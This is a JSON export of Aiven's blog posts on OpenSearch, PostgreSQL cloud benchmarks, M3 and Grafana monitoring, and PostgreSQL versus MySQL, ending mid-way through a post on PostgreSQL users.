{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2STnhN8Z1eG14GTaYoIIQC","_rev":"j5OhKGUVbND2aFEj9l9wYS","_type":"post","_updatedAt":"2023-06-14T10:03:49Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"__UPDATE: Aiven has now released [Aiven for OpenSearch](https://aiven.io/blog/announcing-aiven-for-opensearch \"Announcing Aiven for OpenSearch | Aiven blog\"), built on Elasticsearch 7 and offering all the same functionality at the time of the launch.__\n\n## The story so far\nOn January 14, 2021, the world of Elasticsearch turned upside down as [Elastic.io announced a change in their licencing policy](https://aiven.io/press/aiven-statement-on-license-changes-for-elasticsearch \"Aiven statement on ES licence changes\") starting from release 7.11. Their new, more restrictive licencing will no longer permit Elasticsearch to be offered as a service to third parties. \n\nA number of companies, Aiven included, immediately took a stance for open source, and an [upcoming open source fork](https://aiven.io/blog/keeping-elasticsearch-open \"Aiven blog: Keeping Elasticsearch open\") for Elasticsearch and Kibana was announced, spearheaded by AWS.\n\nNow that fork has a name, a scope and a plan.\n## Aiven is for OpenSearch\nOn April 12, 2021, AWS published a more comprehensive outline of their plans, including a name for the new project: OpenSearch. Details are available on the [OpenSearch community site](https://opensearch.org/) and in the [AWS announcement](https://aws.amazon.com/blogs/opensource/introducing-opensearch/), but in brief, this community-driven project includes OpenSearch (from Elasticsearch 7.10.2), OpenSearch Dashboards (from Kibana 7.10.2), and Open Distro for Elasticsearch (providing additional features). Everything will be released under the Apache Licence Version 2.0, free to modify, extend, embed, monetize, resell and offer as a service.\n\nThe thing to note is that OpenSearch is still very much in Alpha and not ready to be productized. As soon as the project is released and Aiven has had a chance to evaluate it, we’ll pick it up and make it available for our customers. Our current timeline guesstimate for this is by the end of this summer. And of course, at that point we’ll change our product name, too.\n## Effects of the change\nThese changes will have no impact whatsoever on the availability, maintenance or service level of current Aiven for Elasticsearch users. When we pick up the eventual OpenSearch branch, it is likely that not much will change to begin with. \n\nAiven will continue to address any issues in all the Elasticsearch versions we provide and continue to offer the high level of support we’re known for.\n## Wrapping up\nAiven is eagerly awaiting the first iteration of the OpenSearch project and looks forward to being an active contributor. [See you on GitHub](https://github.com/opensearch-project/OpenSearch \"OpenSearch project page on GitHub\")!\n\n(Want to join us in our contributions? Check out [our Careers page](https://aiven.io/careers \"Aiven Careers\") for positions in the Open Source Office, product development and corporate functions.)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e207804cdf0061fd0a2a55d5e69481b12ec04a80-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-16T00:00:00.000Z","related":[{"_key":"dc971f778d59","_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"}],"seo":{"metaDescription":"Aiven will join the community forming around the new fork of OpenSearch and OpenSearch dashboards. Find out about the impact and implications here.","metaImage":{"alt":"","asset":{"_ref":"image-e207804cdf0061fd0a2a55d5e69481b12ec04a80-1567x844-png","_type":"reference"}},"metaTitle":"Aiven joins the OpenSearch® community"},"slug":{"_type":"slug","current":"/blog/aiven-joins-the-opensearch-community"},"subtitle":"Aiven will join the community forming around the new fork of OpenSearch and OpenSearch dashboards. Find out about the impact and implications here.","title":"Aiven joins the OpenSearch® community"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3dUGXzwFO7JCACUPmYsDic","_rev":"YFURCCIYWC1zW2kvzdygFp","_type":"post","_updatedAt":"2023-08-08T14:49:18Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"I recently gave a talk about PostgreSQL performance in different clouds, under different settings at the pgconf.eu conference in Warsaw.\n\nThe talk compared the results of 3 benchmark tests for the just released PostgreSQL 10 running in five cloud infrastructures in two different regions:\n\n- Amazon Web Services (eu-west-1 and eu-central-1)\n- Google Cloud Platform  (europe-west2 and europe-west3)\n- Microsoft Azure (UK South and Germany Central)\n- DigitalOcean (LON1 and FRA1)\n- UpCloud (uk-lon1 and de-fra1)\n\nWe selected the specific regions because we were giving the talk a European conference and all of the vendors operate data centers in England and Germany.\n\nAlso, chose to run all benchmarks in two different regions to see if we would find noticeable differences in the different sites operated by these vendors.\n\nThe first benchmark was compared the following two different instance sizes on all clouds utilizing the network-backed freely scalable disks that are available in each cloud:\n\n- 4 vCPU / 16GB RAM\n- 16 vCPU / 64GB RAM\n\nThe second compared network and local SSD performance in AWS and GCP cloud infrastructures with the same instance sizes as the first.\n\nFor this post, we will be taking an in-depth look at the two benchmark tests while covering some important considerations when identifying and correcting PostgreSQL setups.\n\n## 4 vCPU / 16 GB RAM network disks benchmark\n\nAlthough it is impossible to get VMs with the exact same specifications in every cloud, we provisioned similar setups in all clouds:\n\n- **Amazon Web Services**\n  - m4.xlarge: 4 vCPU; 16 GB RAM\n  - 350 GB gp2 EBS volume, no provisioned IOPS\n\n- **Google Cloud Platform**\n  - n1-standard-4: 4 vCPU; 15 GB RAM\n  - 350 GB PD-SSD\n\n- **Microsoft Azure**\n  - Standard DS3 v2: 4 vCPU; 14 GB RAM\n  - 350 GB P20\n\n- **DigitalOcean**\n  - 16GB: 4 vCPU; 16 GB RAM\n  - 350 GB block storage\n\n- **UpCloud**\n  - 4CPUx16GB: 4 vCPU; 16 GB RAM\n  - 350 GB MAXIOPS\n\nPostgreSQL 10.0 was running on top of Linux 4.3.15 kernel on each cloud.  To replicate a typical production setup, the disks utilized LUKS full-disk encryption and WAL archiving was enabled to include the overhead of backups in the tests.\n\nThe test was performed using the venerable pgbench tool that comes bundled with PostgreSQL.\n\n`pgbench` was run on another VM in the same cloud, running 16 clients for one hour with a data set roughly three times the amount of available memory, meaning that the data would not fit in cache and the impact of I/O is visible.\n\n![ram-instances](//cdn.sanity.io/images/sczeoy4w/production/c6b7d1551a12177be7ecadf4b0acce91fdd7c9ac-1200x675.png)\n\nGoogle Cloud and UpCloud lead this benchmark showing that there's quite a bit of variation between the different cloud providers.\n\nThe performance of the big three providers are most stable across different regions while DigitalOcean and UpCloud show larger differences between different regions: the hardware or density of those regions may vary.\n\n## 16 vCPU  / 64 GB RAM / network disks benchmark\n\nThe test run was repeated on the 16x64 setup:\n\n- **Amazon Web Services**\n  - m4.4xlarge: 16 vCPU; 64 GB RAM\n  - 1 TB gp2 EBS volume, no provisioned IOPS\n\n- **Google Cloud Platform**\n  - n1-standard-16: 16 vCPU; 60 GB RAM\n  - 1 TB PD-SSD\n\n- **Microsoft Azure**\n  - Standard DS5 v2: 16 vCPU; 56 GB RAM\n  - 1 TB P30\n\n- **DigitalOcean**\n  - 64GB: 16 vCPU; 64 GB RAM\n  - 1 GB block storage\n\n- **UpCloud**\n  - Custom: 16 vCPU; 60 GB RAM\n  - 1 TB MAXIOPS\n\nAgain we used PostgreSQL 10.0, Linux 4.3.15 and `pgbench` for the benchmark, this time with 64 parallel clients on the pgbench host with a dataset three times the host ram.\n\n![ram-instances-64](//cdn.sanity.io/images/sczeoy4w/production/bc0bf11769f0d32d7a89b5ed866f136134827030-1200x675.png)\n\nAs with the prior setup, Google Cloud and UpCloud lead the pack with DigitalOcean's inter-region performance demonstrating widely different characteristics.\n\nHowever, Amazon and Azure have a smaller performance gap and UpClouds inter-region performance gap is almost nonexistent.\n\nAdditionally, *the actual transactions per second count hasn't increased* much from the test run with the smaller instance types. This is mostly due to the size of the data set and the number of clients having increased.\n\n## General and cloud provider performance considerations\n\nData access latency has always been one of the most important factors in database performance and often is the most important single factor.\n\nIn broad terms, this means the larger the amount of your hot data that you can fit in your fastest data storage system the better.\n\nData is typically fetched from the following systems, listed below from fastest to slowest with each system typically being an __order of magnitude slower than the preceding system__:\n\nCPU caches \u003c RAM \u003c Local disks \u003c Network disks\n\nAll vendors use Intel Xeon CPUs of various types in their clouds and you can usually identify the type of CPU from the vendor's home page or simply by spawning a virtual machine and looking at `/proc/cpuinfo`.\n\nDifferent hypervisors are used by different providers which may account for some differences, but most of the differences between these vendors are most likely in their IO subsystems.\n\n**AWS**\n\nAWS has a number of different volume types available in its Elastic Block Storage (EBS) ranging from large \u0026 cheap spinning rust to highly performant SSDs with provisioned IOPS.\n\nThe most common disk type for database workloads are probably the \"general purpose\" `gp2`, which was used in our tests, and the \"provisioned iops\" `io1` type.\n\nThe general purpose disk works just fine for most use cases and provides guaranteed performance for a reasonable price based on the disk size ranging from 100 IOPS to 10k IOPS.\n\nWhile you can get up to 32k IOPS with the provisioned IOPS volume type, it comes with a __hefty price__.\n\nAWS also provides a number of instance types with fixed local storage (\"instance storage\") which we'll cover later.\n\n**Google Cloud (GCP)**\n\nGCP has two options for its scalable network storage: SSDs (\"pd-ssd\") and spinning (\"standard\").\n\nThe performance of Google Cloud's disks scale up automatically as volume size increases, i.e. the bigger the volume, the more bandwidth and IOPS you get.\n\nGCP doesn't have provisioned IOPS disks at the moment, but the number of IOPS available by default __usually exceeds what's available on Elastic Block Storage__.\n\nGCP allows attaching up to 8 local SSDs to most instance types, which we'll also cover later.\n\n**Microsoft Azure**\n\nAzure has a number of different options for network attached storage with default storage based on spinning disks that are affordable, but rather slow.\n\nTo utilize SSDs in Azure, you must switch from the standard \"D\" type instances to \"DS\" and select the layout of disks to use: disks come in fixed sizes ranging from 128 GB to 4 TB in size with each tier offering different IOPS and bandwidth.\n\nWe used the \"P20\" (512GB) and \"P30\" (1TB) disks in our benchmarks which currently appear to have the best performance per dollar spent of all Azure disks.\n\nAzure also has a number of instance types with instance local storage, but we have not yet included them in our benchmarks.\n\n**DigitalOcean**\n\nDigitalOcean has simple options for VMs with a number of different VM sizes you can select which all come with a certain amount of vCPUs, RAM and local (SSD) disk.  You can additionally attach a network disk (\"block storage\") of any size to the VM.\n\nAll DigitalOcean VMs have local disks, but they are too small to be usable in these benchmarks.\n\n**UpCloud**\n\nUpCloud has a proprietary storage system called MAXIOPS which is used for all disk resources.  MAXIOPS allows attaching a number of disks up to 1TB each to a VM.\n\nWe believe MAXIOPS is based on SSD arrays connected using InfiniBand, but UpCloud has not given a detailed view to its storage technology so far.\n\nUpCloud doesn't offer any VMs with local storage.\n\n**Considerations for running PostgreSQL on ephemeral disks**\n\nAs mentioned, a number of the cloud infrastructure vendors offer instance storage with what we believe to be much faster (potentially an order of magnitude faster) than the default, network-attached storage, and we wanted to include them in our benchmarks.\n\nIt is important to note that we can't rely on instance storage for data durability because local disks are ephemeral and data on them will be lost in case the VM is shut down or crashes.\n\nTherefore, other means __must be used__ to ensure data durability across node failures.  Luckily PostgreSQL comes with multiple approaches for this:\n\n- Replication to a hot standby node\n- Incremental backup of data as it's written (WAL streaming)\n\nWe utilized WAL streaming for backups in this benchmark: all data is streamed to a durable cloud storage system for recovery purposes as it's written.\n\n## 16 GB RAM / local vs. network disks benchmark\n\nJust as we couldn't with the network disk test, we were unable to provision VMs with identical specifications from the selected cloud infrastructure providers.\n\nSpecifically, AWS has a limited set of instance types with local disks unlike Google, which allows for attaching local disks to most types. The following VM configuration was used in this test run:\n\n- **Amazon Web Services**\n  - i3.large: 2 vCPU; 15 GB RAM\n  - 350 GB NVMe disk (max 475 GB)\n\n- **Google Cloud Platform**\n  - n1-standard-4: 4 vCPU; 15 GB RAM\n  - 350 GB NVMe disk (max 3 TB)\n\nAgain, we used PostgreSQL 10.0, Linux 4.3.15 and `pgbench` for the benchmark, this time with 16 parallel clients on the pgbench host with a dataset three times the host ram.\n\nThe following graph compares the performance of PostgreSQL 10 running in AWS and GCP with local and network disks:\n\n![ram-instances-local-vs-network](//cdn.sanity.io/images/sczeoy4w/production/5ea58bfbbf1669124033f967b67181c3583ec8b5-1200x675.png)\n\nWe were a bit surprised by the lack of differences between local and network disks. Apparently, the bottleneck is not in disk IO in this case.\n\n## 64 GB RAM / local vs. network disks benchmark\n\nWe repeated the local disk benchmark with 64 GB instances configured as follows:\n\n- **Amazon Web Services**\n  - i3.2large: 8 vCPU; 61 GB RAM\n  - 1 TB NVMe disk (max 1.9 TB)\n\n- **Google Cloud Platform**\n  - n1-standard-16: 16 vCPU; 60 GB RAM\n  - 1 TB NVMe disk (max 3 TB)\n\nAgain we used PostgreSQL 10.0, Linux 4.3.15 and pgbench for the benchmark, this time with 64 parallel clients on the `pgbench` host with a dataset three times the host ram.\n\nThe following graph compares the performance of PostgreSQL 10 running in AWS and GCP with local and network disks:\n\n![ram-instances-local-vs-network-64](//cdn.sanity.io/images/sczeoy4w/production/f9925aac3ef340ed50435f7fa40232ba546d359d-1200x675.png)\n\nThe results speak for themselves:  the local NVMe-backed instances blow away the network-backed instances.\n\n## Summary\n\nA great many factors affect PostgreSQL performance and each production workload is different from the other, and most importantly, different than the workloads used in these benchmarks.\n\nOur advice is to try to identify the bottlenecks in performance and tune the database configuration, workload or (virtual) hardware configuration to match the requirements.\n\nIn a cloud PostgreSQL-as-a-Service system such as [ours](https://aiven.io/postgresql), the PostgreSQL system parameters are typically automatically configured to match typical workloads and it's easy to try out different virtual hardware configurations.\n\nIf you decide to roll your own PostgreSQL setup, be sure to pay special attention to backups and data durability when using local disks.\n\n## Next steps\n\nMy conference slides are available in our [GitHub repository](https://github.com/aiven/presentations/blob/master/pgconfeu2017/PostgreSQL%20Cloud%20Performance%20-%20PGConf%20EU%202017%20-%20Oskari%20Saarenmaa.pdf) and they include a set of benchmarks on different AWS PostgreSQL-as-a-Service platforms (Aiven, RDS and AWS Aurora) comparing performance of Aiven PostgreSQL backed by NVMe SSDs to RDS PosgreSQL on EBS volumes and AWS Aurora with a proprietary backend.\n\nWe will be publishing more benchmarks at regular intervals in the future comparing different workloads and infrastructure setups. We'll also include more database-as-a-service providers in our regular benchmarks, so stay tuned!\n\n## Launch the top-performing PostgreSQL service in minutes\n\nAs detailed in a [previous blog post](https://aiven.io/blog/larger-and-faster-aiven-postgresql-plans), PostgreSQL 10 with local disks is now available for all Aiven users. Please sign up for our free trial and have your top-performing PostgreSQL instance available for use in minutes.\n\n[![Adeo-CaseStudy-CTA](//cdn.sanity.io/images/sczeoy4w/production/9d3cb0ef137e1e9ee9fb7066b25baf316bb01957-1600x471.jpg)](https://aiven.io/case-studies/aiven-cloud-helps-adeo)","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-79f15eb0a339c63e6c1d246428ae5e392f369774-752x405-png","_type":"reference"}},"publishedAt":"2017-12-21T00:00:00.000Z","related":[{"_key":"a6699bd8c50c","_ref":"7e6f8eca-cb6e-4ad4-ae5d-465ed5088c54","_type":"reference"},{"_key":"c4d64b2bb121","_ref":"3yLuVWne7YQkrv7Uf5iokY","_type":"reference"},{"_key":"d8e8472d01ba","_ref":"XoaoK7MK66lzOVNjY9MlL","_type":"reference"}],"seo":{"metaDescription":"Want to know how PostgreSQL performs in different clouds, as well as best practices for benchmarking? Then be sure to check out our latest test results.","metaImage":{"alt":"","asset":{"_ref":"image-79f15eb0a339c63e6c1d246428ae5e392f369774-752x405-png","_type":"reference"}},"metaTitle":"PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud"},"slug":{"_type":"slug","current":"/blog/postgresql-cloud-performance"},"subtitle":"Want to know how PostgreSQL performs in different clouds, as well as best practices for benchmarking? Then be sure to check out our latest test results.","title":"PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"27idt1cdblNt5VE88jxtnJ","_rev":"VeNKqGNmt13PzvGhqsSIe6","_type":"post","_updatedAt":"2024-01-29T15:40:44Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"One key use case for [Aiven for M3](https://aiven.io/m3 \"Aiven for M3 product page\") is for handling the monitoring data from other systems. In this post you will do just that, by setting up a PostgreSQL service and collecting metrics from it using M3. To complete the picture, Grafana will be used to inspect the collected data.\n## Start with something to monitor\nTo begin with, you need a PostgreSQL service. It doesn't matter what you choose here since this service isn't going to do any important work – it's merely a temporary container for some metrics (sorry, PostgreSQL!).\n\n![create-pg](//cdn.sanity.io/images/sczeoy4w/production/7dc390597cdb4fb144a1169af05319f20fdbfe32-1850x950.png \"Create a PostgreSQL service\")\n\nWith a PostgreSQL service running, you can start to collect metrics from it.\n## Collect metrics with Aiven for M3\nFrom the PostgreSQL service overview page, configure the metrics integration with a new M3 service:\n\n1. Choose **Manage integrations**.\n2. Locate the one named \"Send service metrics to...\" (not the one for receiving), and choose **Use integration**.\n3. When prompted, create a new M3DB service, and configure it to your liking. To minimize latency, I usually use the same cloud region as the thing I'm monitoring.\n\nThe metrics collected from PostgreSQL are now being sent to M3.\n## Visualize the data with Grafana\nThe next step is to add the dashboard integration so you can see the data you are collecting. From the M3 service overview page, let's set up a Grafana dashboard:\n\n1. Choose **Manage integrations**.\n2. Select **Dashboard** and then **Use integration**.\n3. Choose a new Grafana service, and again, configure the service to suit your needs.\n\nOnce created, you can access Grafana by opening its Service URI in a new browser tab, and logging in with the user and password listed on the service overview page. To get you started, Aiven includes a default dashboard that shows some of the most common metrics.\n\nTo access the pre-built dashboard:\n* From the left hand menu, go to the Dashboards section (4 squares) and choose **Manage**\n* Click on the dashboard called \"Aiven PostgreSQL - [database name] - Resources\"\n\nYou now have a clear view of your PostgreSQL database health.\n![grafana-default](//cdn.sanity.io/images/sczeoy4w/production/bb819f6e3e41a47dc986cdfb337649ae969abfcd-1440x684.png \"Grafana default view\")\n\nClick the dashboard settings, and choose \"Save As\" to use this dashboard as a template for your own that you can modify. \n\nThe [list of PostgreSQL metrics exposed to Grafana](https://aiven.io/docs/products/postgresql/reference/pg-metrics) gives more information about the fields that are available.\n## Integrations in action\nThe integrations are now in place, and you can see both the data coming in and the dashboard integration from the M3 service overview page.\n\n![integrations](//cdn.sanity.io/images/sczeoy4w/production/3123b663151c4f4ceeb510c26c40853b189f5ee1-1440x684.png \"Integrations in the Aiven Console\")\n\nFollowing the same approach, you can add metrics integrations to all of your other Aiven services, and send data to the M3 database you created. You can also write metrics from non-Aiven services to M3 to bring all the data you need into one place, and to visualize it with Grafana.\n## Wrapping up and further reading\n* Bring metrics from other services into M3 with our [article on using Telegraf with M3](https://help.aiven.io/en/articles/5161440-writing-metrics-to-m3-using-telegraf).\n* Build better dashboards with these [tips from Grafana](https://grafana.com/docs/grafana/latest/best-practices/best-practices-for-creating-dashboards/).\n* Learn more about [Aiven service integrations](https://grafana.com/docs/grafana/latest/best-practices/best-practices-for-creating-dashboards/).\n* Or learn more about [time series databases](https://aiven.io/time-series-databases \"Time series DBs at Aiven\")\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"oYj5ZpGrJSISGkb52BoVg","_ref":"oYj5ZpGrJSISGkb52BoVg","_type":"reference"},{"_key":"4hAyABhHhRRrLCRrQAMHR1","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"6jjlGcMpx0GJyFCwYDXTGu","_ref":"6jjlGcMpx0GJyFCwYDXTGu","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-a18921115172cfbf7a9eef3cff6487d5400123a7-1567x844-png","_type":"reference"}},"publishedAt":"2021-08-12T00:00:00.000Z","seo":{"metaDescription":"Monitoring and graphs go together like milk and coffee. Find out how to use M3 to monitor your systems, and Grafana to make the results easier to understand.","metaImage":{"alt":"","asset":{"_ref":"image-a18921115172cfbf7a9eef3cff6487d5400123a7-1567x844-png","_type":"reference"}},"metaTitle":"Metrics and graphs with M3 and Grafana"},"slug":{"_type":"slug","current":"/blog/metrics-and-graphs-with-m3-and-grafana"},"subtitle":"Find out how to use M3 to monitor your systems, and Grafana to make the results easier to understand.","title":"Metrics and graphs with M3 and Grafana"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1T7v4WU7Jn5ipK5AzGWgtD","_rev":"msvVOwV0ly404Y5JqDSocX","_type":"post","_updatedAt":"2024-08-09T10:40:42Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"[PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") and [MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\") are both widely used open source database management systems (DBMS) that also support some noSQL features. Coincidentally, or not, both are available through Aiven. \n\nWhen you're looking for a reliable managed database solution, which should you pick? \n\n## How are managed PostgreSQL and MySQL different?\nPostgreSQL and MySQL are very similar in the uses they are put to--well, they’re relational databases, you can’t really use MySQL as a coat rack ([although it can make toast](https://www.percona.com/blog/2016/04/01/fixing-mysql-bug2-now-mysql-makes-toast/ \"Fixing MySQL bug #2: Now MySQL makes toast\")). That said, we can dig out some differences.\n\n1. [Applications](#applications)\n2. [Conformance](#conformance)\n3. [Languages and data types](#languages-and-data-types)\n4. [Performance/Speed](#performance-speed)\n5. [User interfaces](#user-interfaces)\n6. [Extensions](#extensions)\n7. [Data security and authentication](#data-security-and-authentication)\n8. [Coding](#coding)\n9. [Support](#support)\n\n### Applications\nOne big limitation on your freedom of choice is applications that expect to find a particular database. Flask, for example, likes PostgreSQL, so you’re better off using that. Conversely, Drupal goes well with MySQL. (That being said, both have community-driven extensions that allow other databases.)\n### Conformance\nOf the two, PostgreSQL comes closer to full SQL:2016 Core conformance. PostgreSQL 12 supports 160 of the 179 required features. MySQL, on the other hand, strays further from the fold with only 54 supported features.\n\nBoth PostgreSQL and MySQL are ACID compliant (atomicity, consistency, isolation, durability): transactions are protected and queries maintain data integrity. With MySQL, this requires using InnoDB.\n### Languages and data types\nIn terms of supported programming languages, PostgreSQL offers a wider range, but not by much. MySQL ticks the boxes for C/C++, Delphi, Erlang, Go, Java, Lisp, Node.js, Perl, PHP and R; to these, PostgreSQL adds JavaScript, .Net, Python and Tcl.\n\nFor stored procedures, PostgreSQL supports, for example, Ruby, Perl, Python, TCL, PL/pgSQL, SQL and JavaScript. MySQL is only able to counter here with SQL:2003 syntax.\n### Performance/Speed\nCommon wisdom holds that where MySQL is lithe and quick, PostgreSQL is full-featured and versatile. This would make MySQL more suited to heavy loads performing straightforward tasks, and PostgreSQL a better fit for complex use cases.\n\nWhile kind of true, this picture is a little simplistic. \n\nPostgreSQL focuses heavily on performance improvements in its development. PostgreSQL 13 alone listed 12 performance-enhancing changes, continuing a trend from PostgreSQL 12. At the same time, MySQL’s extensive community actively develops new features. However, increased complexity presents performance challenges. So there’s less of a difference now than once there was.\n### User interfaces\nMySQL has MySQL Workbench; you can also use it for PostgreSQL, or opt for e.g. pgAdmin or SQL Workbench.\n### Extensions\nAiven offers a comprehensive list of extensions for PostgreSQL. These include TimescaleDB, which, when used as a PostgreSQL extension, gives you access to features developed for time series data without having to move over to a full-blown TSDB. Then there’s PostGIS, which adds location data features by supporting geographic objects. \n\nBut there are loads more. [Check out the full list of PostgreSQL extensions at Aiven](https://help.aiven.io/en/articles/489561-supported-postgresql-extensions \"Supported PostgreSQL extensions at Aiven\") in our Help article!\n### Data security and authentication\nMySQL implements user management with roles and privileges. For authentication, you can use Linux PAM, LDAP, and native Windows services.\nSimilarly, PostgreSQL has robust user and group management, but it also includes a pluggable config file. It supports PAM and Kerberos.\nSSL is used in PostgreSQL, but not in the more weakly-encrypted MySQL.\n### Coding\nCoding with PostgreSQL or MySQL is slightly different. MySQL is not case sensitive, and happily eats IF and IFNULL statements. It also requires UTF-8 input, though, which PostgreSQL will not accept. PostgreSQL won't like your IFs and IFNULLs, either (you have to use CASE statements instead). \n### Support\nMySQL has a larger community, so when you get in trouble you can count on more robust support; at least as far as your peer group goes. However, it can be argued that PostgreSQL, as the more standards-conformant and robust system, doesn’t require as much support… And it also has a dedicated community.\n\n(Besides--if you come to Aiven, we’ll give you bonus cookies, in the form of 24/7 expert support. Just saying.)\n## Wrapping up: when to use which\nFor developers in need of a rich feature set and admins requiring protected, fault-tolerant environments, PostgreSQL is a good choice. It’s a little complex to set up and manage, but if you get it fully managed from Aiven, neither of those issues will be a headache.\n\nFor those needing a fast, lightweight, proven database solution that’s customizable with a little work, MySQL could be the right companion. It also has a vibrant community to answer any questions you may have. Then again, get it managed from Aiven and we can certainly answer those questions for you.\n\n--\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") and [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [Future PostgreSQL®: Improvement to the Replication Protocol](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol)\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [Aiven for PostgreSQL® now available in UpCloud](https://aiven.io/blog/aiven-postgresql-now-available-in)\n","categories":[{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-5f01eb55975cd66bf1ea61df97d0856ccee17509-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-11T00:00:00.000Z","seo":{"metaDescription":"Aiven offers both PostgreSQL and MySQL as managed services. While similar, they meet different needs. Find out here how to choose between them.","metaImage":{"alt":"","asset":{"_ref":"image-5f01eb55975cd66bf1ea61df97d0856ccee17509-1567x844-png","_type":"reference"}},"metaTitle":"PostgreSQL® vs MySQL® - the Aiven championships"},"slug":{"_type":"slug","current":"/blog/postgresql-vs-mysql-the-aiven-championships"},"subtitle":"Aiven offers both PostgreSQL and MySQL as managed services. While similar, they meet different needs. Find out here how to choose between them.","title":"PostgreSQL® vs MySQL® - the Aiven championships"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"cVucHhUgifwkUQXoHjxCV","_rev":"Y6NNh6Ue45iOdNdcwAPNMq","_type":"post","_updatedAt":"2024-07-05T09:26:43Z","authors":[],"body":"\u003c!--\nworking version in GitHub: \\GitHub\\blog-posts\\posts\\2022\\pillar-pg\\cluster-postgres-usecases.md\ncopy-paste everything into Contentful version for publishing https://app.contentful.com/spaces/q3u27v6lpki8/entries/cVucHhUgifwkUQXoHjxCV\nDO NOT EDIT IN CONTENTFUL\n--\u003e\nAccording to the [db-engines](https://db-engines.com/en/ranking) ranking, PostgreSQL is the fourth most popular database management system (and most popular open source DBMS).\n\nToday in addition to enterprise users, a number of 3rd party vendors, consultancies and independent groups derive products from, consult, support, and offer auxiliary enhancements for PostgreSQL. There are also integrations with artificial intelligence (AI) and machine learning (ML), many cloud versions, hardware-optimized versions, and so forth.\n\nBy far the biggest industry sector using PostgreSQL is the computer software industry, followed by information technology and services. Other industries include hospitals and health care, higher education, financial services, telecommunication, education, marketing and advertising. Government agencies, including the FBI, are also users.\n\nHere are some companies using Aiven for PostgreSQL to great effect in their business-critical systems.\n\n[Catalyst](https://aiven.io/case-studies/a-customer-success-story), a customer success company, uses Aiven for PostgreSQL to store customer data.\n\n[NetSpyGlass](https://aiven.io/case-studies/aiven-cloud-helps-netspyglass) uses Terraform to provision their PostgreSQL and Apache Kafka to provide network monitoring automation solutions for their customers.\n\n[Norauto](https://aiven.io/case-studies/norauto-developers-spin-up-databases-faster-than-ever-with-aiven) is an automotive retail entity running a variety of digital services for their customers using many open source tools, among them Aiven for PostgreSQL.\n\n[Ometria](https://aiven.io/case-studies/aiven-for-postgresql-helps-ometria) uses PostgreSQL to provide customer insights to drive personalised cross-channel marketing experiences.\n\n[OVO Energy](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo) uses advanced data solutions to cut their carbon 